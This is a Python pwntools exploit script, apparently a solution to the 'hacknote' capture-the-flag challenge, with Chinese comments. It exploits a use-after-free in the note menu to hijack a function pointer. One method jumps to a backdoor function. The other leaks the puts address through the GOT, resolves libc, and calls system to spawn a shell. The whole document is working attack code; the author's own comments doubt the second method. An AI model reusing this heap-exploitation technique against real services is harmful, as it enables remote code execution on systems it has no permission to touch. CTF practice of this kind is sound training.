from pwn import *
from LibcSearcher import *

context(os='linux',arch='i386',log_level='debug')
context.terminal = ['tmux', 'splitw', '-h']

io  = process('./hacknote')
# io = remote('node4.buuoj.cn',25476)

elf = ELF('./hacknote')
pause()
def debug():
    gdb.attach(io)
    pause()
# debug()
def creat(size, content):
    io.recvuntil(b"Your choice :")
    io.sendline(b"1")
    io.recvuntil(b"Note size :")
    io.sendline(str(size).encode())
    io.recvuntil(b"Content :")
    io.sendline(content.encode())

def creat2(size, content):
    io.recvuntil(b"Your choice :")
    io.sendline(b"1")
    io.recvuntil(b"Note size :")
    io.sendline(str(size).encode())
    io.recvuntil(b"Content :")
    io.sendline(content)

def delete(index):
    io.recvuntil(b"Your choice :")
    io.sendline(b"2")
    io.recvuntil(b"Index :")
    io.sendline(str(index).encode())

def print_content(index):
    io.recvuntil(b"Your choice :")
    io.sendline(b"3")
    io.recvuntil(b"Index :")
    io.sendline(str(index).encode())

magic_addr = 0x08048945
puts_content_function_addr = 0x080485FB
puts_got_addr = elf.got["puts"]

pause()
creat(0x20, "AAAA")
pause()
creat(0x20, "BBBB")
pause()

delete(0)
pause()
delete(1)

#第一种方法就是直接 跳转至 magic 后门函数 拿shell
# pause()
# creat2(0x8, flat(magic_addr))
# pause()
# print_content(0)
# io.interactive()


#第二种方法 泄漏libc地址完成 拿shell 的方式
# 但是这样 好像不得行，思路是可以的，因为 (**(&notelist + v2))(*(&notelist + v2));
# 导致写入的 shll 不能被执行，因为是从 函数指针位置开始算，如果(**(&notelist + v2))(*(&notelist + v2 + 4)); 就能成功
pause()
creat2(0x8, flat(puts_content_function_addr, puts_got_addr))
pause()
print_content(0)
# io.interactive()

real_puts_addr = io.recv(4)
real_puts_addr = real_puts_addr.ljust(4, b'\x00')
real_puts_addr = u32(real_puts_addr)
print('real_puts_addr = ', hex(real_puts_addr))

libc = LibcSearcher('puts', real_puts_addr)
libc_base_addr = real_puts_addr - libc.dump('puts')
real_system_addr = libc_base_addr + libc.dump('system')
real_str_bin_sh = libc_base_addr + libc.dump('str_bin_sh')
print('real_system_addr = ', hex(real_system_addr))
print('real_str_bin_sh_addr = ', hex(real_str_bin_sh))
pause()


delete(2)

pause()

creat2(0x8, flat(real_system_addr, b"/sh\x00"))
pause()
print_content(0)
pause()

io.interactive()